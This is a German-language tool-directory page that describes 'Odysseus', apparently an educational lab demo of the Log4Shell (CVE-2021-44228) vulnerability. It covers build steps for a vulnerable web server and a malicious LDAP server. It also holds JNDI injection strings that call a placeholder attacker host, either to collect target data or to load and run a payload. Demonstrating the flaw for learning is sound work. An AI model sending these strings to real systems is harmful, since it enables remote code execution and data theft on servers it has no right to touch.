Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Odysseus — Eine Demo der Log4Shell (CVE-2021-44228) Schwachstelle. | Kitploit
Tools/GitHubGitHub/roshanshibu/odysseus
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCommand and ControlLernen & BildungPayload-Entwicklung
GitHubroshanshibu/odysseus

Odysseus

Eine Demo der Log4Shell (CVE-2021-44228) Schwachstelle.

Repository anzeigen
vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Odysseus

Ein Demo der Log4Shell (CVE-2021-44228)-Schwachstelle.

Bauanleitung

Der anfällige Webserver und der schädliche LDAP-Server wurden beide mit JDK 1.8.0_181 erstellt und getestet.

Webserver der Guten

  1. Wechsle in das Verzeichnis goodguys und führe gradlew bootJar aus.
  2. Starte den anfälligen Webserver mit java -jar build/libs/goodguys-0.0.1-SNAPSHOT.jar

LDAP-/Webserver der Bösen

  1. Wechsle in das Verzeichnis badguys und führe mvn package aus.
  2. Starte den bösen Server mit java -jar .\target\evil-server.jar

Hinweis: Der Windows Defender kann target\classes\Exploit.class leise in Quarantäne verschieben.

Schädliche Nutzlast

Die schädlichen Befehle sind in Exploit.java definiert.

Injektionsauslöser

EingabeBemerkungen
${jndi:ldap://evil-server-hostname:389/Recon}Überprüft, ob das Ziel anfällig ist, indem es auf eine Verbindungsanfrage an den LDAP-Server hört.
${jndi:ldap://evil-server-hostname:389/Recon [log4j Pattern Layout(s)]Hängt gültige log4j Pattern-Layouts an, um die Daten vom Ziel zu sammeln und im Angreiferterminal anzuzeigen.

Referenzen

https://securityboulevard.com/2019/01/exploiting-jndi-injections-in-java/ https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/PatternLayout.html
https://www.ibm.com/blog/how-to-detect-patch-log4j-vulnerability/

Tool herunterladen
${jndi:ldap://evil-server-hostname:389/Exploit}Führe die Nutzlast aus.